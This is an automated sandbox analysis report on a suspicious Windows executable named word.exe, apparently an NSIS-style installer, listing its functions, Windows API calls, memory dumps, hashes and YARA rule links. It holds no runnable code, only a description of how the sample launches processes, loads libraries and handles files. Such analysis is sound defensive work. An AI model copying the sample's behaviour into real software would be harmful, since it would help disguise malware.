CloseHandle.KERNEL32(?), ref: 0040542A

Strings

Error launching installer, xrefs: 0040540B

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction ID: 7090b7fc8b0b8bfe0e18f62cc41de09a41a9c6505e722368f6ae49628a4dc155
Opcode Fuzzy Hash: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction Fuzzy Hash: F6E0ECB4A00219BBDB109F64ED09AABBBBCFB00304F50C521E910E2160E774E950CA69

Uniqueness

Uniqueness Score: -1.00%

Function 00406609 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction ID: 2446724231f05ea51107c8768389afa7e2a62b3a86e3c0cdb9b17195a5c17046
Opcode Fuzzy Hash: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction Fuzzy Hash: E9A14F71E00228CFDB28CFA8C8547ADBBB1FB45305F21816AD956BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction ID: c9a91825e94b1235ed1e5db661991067e3a312009d26920905f6c04b87fbb156
Opcode Fuzzy Hash: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction Fuzzy Hash: 25913F71E00228CFDF28DFA8C8547ADBBB1FB44305F15816AD916BB291C3789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406520 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction ID: 178f069459afe4b8f6f8f854f87fc4d5347ab2ec506c5a0858b6a976d85c5aaa
Opcode Fuzzy Hash: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction Fuzzy Hash: 8E816871E00228CFDF24DFA8C8447ADBBB1FB45301F25816AD816BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406025 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction ID: b8f14fa8ad5cea51b2b9a2e46606c418b7244df3771cf842608f3b99def8c173
Opcode Fuzzy Hash: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction Fuzzy Hash: A3818731E00228CFDF24DFA8C8447ADBBB1FB45305F21816AD956BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406473 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction ID: ed496f49c15cb1a0cee1f91230a4d4bd76d3fd25087baa69d2252d5f7e71f344
Opcode Fuzzy Hash: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction Fuzzy Hash: 30713271E00228CFDF28DFA8C8547ADBBB1FB44305F15806AD906BB281D7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406591 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction ID: c4674237f5282a099a09cde02a4657600336f9fef0cdfe8d994bfdecfa790225
Opcode Fuzzy Hash: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction Fuzzy Hash: 4A714671E00228CFDF28DFA8C8547ADBBB1FB44301F15816AD916BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004064DD Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction ID: 5a6a632b4197b5bad3eb6902eefc8e88da0621a447eca7476662d6aa47a1fed0
Opcode Fuzzy Hash: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction Fuzzy Hash: 93714571E00228CFEF28DF98C8547ADBBB1FB44305F15816AD916BB281C7789A56DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401E38 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F40

Part of subcall function 004053F8: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422540,Error launching installer), ref: 0040541D
Part of subcall function 004053F8: CloseHandle.KERNEL32(?), ref: 0040542A

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E72
GetExitCodeProcess.KERNELBASE(?,?), ref: 00401E82
CloseHandle.KERNEL32(?), ref: 00401EA7

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: fee99b61f809a53683fc29f07b08f3b8ec53ffd30f17739a64443d1dd851e78e
Instruction ID: 9f74951c8685777ff7248368b05c14b320234156a546818c44ddf0e00d329478
Opcode Fuzzy Hash: fee99b61f809a53683fc29f07b08f3b8ec53ffd30f17739a64443d1dd851e78e
Instruction Fuzzy Hash: F0015731E04205EBCF21AFA1D984AAE7A71EF00344F54813BF905B61E1C7BC4A41EB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageA.USER32 ref: 004013F4

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction ID: 9ae17229e6d33b90ed82c987c6c55cbce7d6b2b41e99f766f3e5bcfc28262e64
Opcode Fuzzy Hash: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction Fuzzy Hash: CA014472B242109BEB184B389C04B2A32A8E710319F10813BF841F72F1D638CC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F28 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

Part of subcall function 00405EBA: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405ED1
Part of subcall function 00405EBA: wsprintfA.USER32 ref: 00405F0A
Part of subcall function 00405EBA: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction ID: ae0a47d2ae808e9ad23d4e83699500a4151a320e34d6f574464110b7e3b32053
Opcode Fuzzy Hash: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction Fuzzy Hash: 7AE08632A0951176D61097709D0496773ADDAC9740300087EF659F6181D738AC119E6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040586F Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 00405873
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
Instruction ID: e615d4ce70e2a600ad3370b8a7bf294de68ab1b424622093f8f4c5f34a5113e1
Opcode Fuzzy Hash: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
Instruction Fuzzy Hash: D5D09E31658301AFEF098F20DD1AF2EBBA2EB84B01F10962CB646940E0D6715C59DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00403511 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(FFFFFFFF), ref: 0040351C

Strings

C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\, xrefs: 00403530

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\
API String ID: 2962429428-1796680068
Opcode ID: 69a1ec42bfd2c808f6210beb952dd846253a51cc7dcbdee1183c199696e0200a
Instruction ID: d56dd6d0e9358e7abe0e1c75cf4fb1a02b43fa7986872cd818a2a6dcef25a25f
Opcode Fuzzy Hash: 69a1ec42bfd2c808f6210beb952dd846253a51cc7dcbdee1183c199696e0200a
Instruction Fuzzy Hash: 07C0123090860466D2207F78AE0B7053B58A741336B900725F174B00F2D73C6A41556E

Uniqueness

Uniqueness Score: -1.00%

Function 00405850 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,0040565B,?,?,?), ref: 00405854
SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405866

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction ID: 81e3be7da977fa0fdb855dbc2a497946ad1e8e9610c44c99cc48e92da118c7e0
Opcode Fuzzy Hash: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction Fuzzy Hash: C2C00271808501AAD6016B34EE0D81F7B66EB54321B148B25F469A01F0C7315C66DA2A

Uniqueness

Uniqueness Score: -1.00%

Function 004053C3 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004030EE,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 004053C9
GetLastError.KERNEL32 ref: 004053D7

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction ID: 6b45de36f316d487aa01e9413b839baa5bb3cf32c01ac4838d60d751b980a7e6
Opcode Fuzzy Hash: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction Fuzzy Hash: E0C04C30619642DBD7105B31ED08B177E60EB50781F208935A506F11E0D6B4D451DD3E

Uniqueness

Uniqueness Score: -1.00%

Function 00403081 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF), ref: 00403098

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction ID: e4cef5105026143dd13b930ce46becb45ea6c66ba88fb4286e933b642882ba15
Opcode Fuzzy Hash: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction Fuzzy Hash: F3E08631211118FBDF209E51EC00A973B9CDB04362F008032B904E5190D538DA10DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004030B3 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E1C,000149E4), ref: 004030C1

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction ID: aafe5e0ddee8b519ffd98e4e857b28c3b9165386d483fecacc2863ad1570d206
Opcode Fuzzy Hash: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction Fuzzy Hash: D6B01231544200BFDB214F00DF06F057B21B79C701F208030B340380F082712430EB1E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC2 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405021
GetDlgItem.USER32(?,000003EE), ref: 00405030
GetClientRect.USER32 ref: 0040506D
GetSystemMetrics.USER32 ref: 00405075
SendMessageA.USER32 ref: 00405096
SendMessageA.USER32 ref: 004050A7
SendMessageA.USER32 ref: 004050BA
SendMessageA.USER32 ref: 004050C8
SendMessageA.USER32 ref: 004050DB
ShowWindow.USER32(00000000,?), ref: 004050FD
ShowWindow.USER32(?,00000008), ref: 00405111
